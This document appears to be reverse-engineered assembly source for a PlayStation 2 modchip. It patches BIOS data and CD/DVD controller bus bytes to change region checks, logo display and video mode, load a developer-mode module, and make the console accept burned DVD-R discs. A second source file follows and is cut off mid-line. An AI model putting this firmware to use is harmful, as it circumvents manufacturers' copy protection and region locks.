w,#$10 ELSE mov w,#$15 ; fsr decimal 21 ENDIF mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_LOGO_PATCH mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_LOGO_PATCH_SYNC snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_LOGO_PATCH_SYNC PS1_LOGO_PATCH_SYNC_L1 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L1 PS1_LOGO_PATCH_SYNC_L2 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_LOGO_PATCH_SYNC PS1_LOGO_PATCH_SYNC_L3 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L3 PS1_LOGO_PATCH_SYNC_L4 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_LOGO_PATCH_SYNC PS1_LOGO_PATCH_SYNC_L5 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L5 PS1_LOGO_PATCH_SYNC_L6 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_LOGO_PATCH_SYNC ;logo_skip PS1_LOGO_PATCH_SYNC_L7 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L7 PS1_LOGO_PATCH_SYNC_L8 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L8 decsz VAR_DC1 jmp PS1_LOGO_PATCH_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_LOGO_PATCH_PATCH1 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_LOGO_PATCH_SYNC2 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC2 PS1_LOGO_PATCH_SYNC2_L1 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC2_L1 decsz VAR_DC3 jmp PS1_LOGO_PATCH_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_LOGO_PATCH_PATCH2 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_LOGO_PATCH_SYNC3 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC3 PS1_LOGO_PATCH_SYNC3_L1 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC3_L1 decsz VAR_DC4 jmp PS1_LOGO_PATCH_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_LOGO_PATCH_SYNC3_L2 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here from being set due to HOLD_BOOT_MODES ran then reset setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 IFDEF SX48RAM mov w,#$10 ELSE mov w,#$15 ENDIF mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching IFDEF SX48RAM ELSE mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat ENDIF inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp PS2_CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spc rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF H2O75KJMPERS sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa ;; idea for trim, usa flag not needed set here, will for ps1drv scex?? clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... IFDEF SX48 mov w,#$1f mov m,w ENDIF mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp IS_XCDVDMAN page $0400 jmp PS2_PS2LOGO:loopz ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP IFDEF SX48 org $0800 org $0A00 org $0C00 org $0E00 ENDIF end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	119,960	FINAL-REVERSE-define-restbump.s	;****************************************************************************** ; Final-fix ICE SX28 reverse ;****************************************************************************** device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ;DEFINE ;RSTBUMP EQU 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select IO_REST = rb.2 ; ; HIGH = 1 NOT PRESSED LOW = 0 = rest down = pressed IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; LOW = CD IN, HI = CD OUT IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;reg known VAR_DC1 equ $08 ; DS 1 ; delay counter 1(small) VAR_DC2 equ $09 ; DS 1 ; delay counter 2(small) VAR_DC3 equ $0A ; DS 1 ; delay counter 3(big) VAR_TOFFSET equ $0b ; DS 1 ; table offset VAR_PSX_TEMP equ $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BC_CDDVD_TEMP equ $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect VAR_PSX_BYTE equ $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PSX_BITC equ $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_BIOS_REV equ $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR equ $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP equ $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_SWITCH equ $0F ; DS 1 ; ? 0.94 comment ; bit 0=xcddvdman mode + PSX1 region switch, 1=PSX1/PSX2 wakeup mode, 2=PSX1 PAL/NTSC , 3=PSX2 logo patch , 4=DEV1 VAR_PATCH_FLAGS equ $0E ; DS 1 ; appears to be bits set for running patch routines .0-.7 for setb an offset ;------------------------------------------------------------ ;ps1 related = VAR_PATCH_FLAGS.0 ;PS1 DEV1 flow flag on completing ? ;reboot flow flag = VAR_PATCH_FLAGS.1 ;DEV1 PS1 flag for if to run mechacon patches ;MODE_START_END_REF = VAR_PATCH_FLAGS.2 ;seems to be ref for mode started and mode end, cleared when finished mode run or on reset if mode was incomplete finish not checking ;clrb on PS1_BOOT_MODE to set for flow PS1_MODE ? ;V9_V12_CONSOLE_19_20_BIOS = VAR_PATCH_FLAGS.3 ;also v11 1.9 bios has own ps1 routine ;BIOS_UK = VAR_PATCH_FLAGS.4 ;BIOS_USA = VAR_PATCH_FLAGS.5 ;BIOS_JAP = VAR_PATCH_FLAGS.6 ;SCEX inject loop flag = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH.0 = v12 console 2.0 bios set ;VAR_SWITCH.1 = PS1_MODE v12 2.0 bios console flag ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. ;VAR_SWITCH.2 = not used ;VAR_SWITCH.3 = PS2_MODE ref set when TAP_BOOT_MODE only clrb when end ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media ;VAR_SWITCH.4 = DEV1 FLAG set ;------------------------------------------------------------- ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital org $0000 ; PAGE1 000-1FF ;BOOT INITIALISE ALL IO AS INPUTS mode $000F ;XFh mode direction for RA, RB, RC output mov w,#$ff ;set w = #$ff = 1111 1111 ;all pins Hi-Z inputs mov !IO_BIOS_DATA,w ;above set for IO_BIOS_DATA ; rc mov w,#$ff ;set w = #$ff = 1111 1111 ;all pins Hi-Z inputs mov !IO_CDDVD_BUS,w ;above set for IO_CDDVD_BUS ;rb mov w,#$ff ;set w = #$ff = 1111 1111 ;all pins Hi-Z inputs mov !ra,w ;above set for ra ;BOOT INITIALISE IO_BIOS_DATA IO WAKEUP TYPES mode $000A ;rb WKED_B: Wakeup Edge Register (MODE=XAh) sense rising, low-to-high. ;Set the bit to 1 to sense falling (high-to-low) edges. The bit is set to 1 after all resets. mov w,#$8 ;set w = #$8 = 0000 1000 mov !IO_CDDVD_BUS,w ;rb.3 IO_EJECT set high-to-low sense mode $0009 ;rb WKPND_B: Wakeup Pending Flag Register (MODE=X9h) 0 indicates that no valid edge has occurred on the MIWU pin ? clr w ;set w = 0 mov !IO_CDDVD_BUS,w ;all rb IO_CDDVD_BUS mode $000B ;rb WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. ? mov w,#$f3 ;set w = #$f3 = 1111 0011 mov !IO_CDDVD_BUS,w ;set rb.2 IO_REST rb.3 IO_EJECT to enable MIWU operation mode $000F ;XFh mode direction for RA, RB, RC output sleep ;todo STARTUP mode $000D ;XDh mode direction for LVL_A, LVL_B, LVL_C mov w,#$f7 ;set w = #$f7 = 1111 0111 mov !IO_CDDVD_BUS,w ; ? mode $000F ;XFh mode direction for RA, RB, RC output mov w,#$7 ;set w = #$7 = 0000 0111 mov !ra,w ;set ra.0 IO_BIOS_OE ra.1 IO_CDDVD_OE_A_1Q ra.2 IO_SCEX as inputs mov w,#$ff ;set w = #$ff = 1111 1111 ;all 